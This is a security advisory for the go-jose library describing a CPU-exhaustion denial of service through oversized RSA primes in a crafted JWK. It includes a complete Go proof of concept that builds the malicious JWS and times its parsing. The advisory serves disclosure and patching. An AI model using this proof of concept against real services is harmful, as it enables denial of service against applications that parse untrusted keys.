GHSA-mgcc-cww5-fp2q

### Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. ### Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 ### Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. ```go package main import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time" "github.com/go-jose/go-jose/v4" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, _ := json.Marshal(jws) start := time.Now() _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start) fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) } ``` ### Impact Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately. ### Credits Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)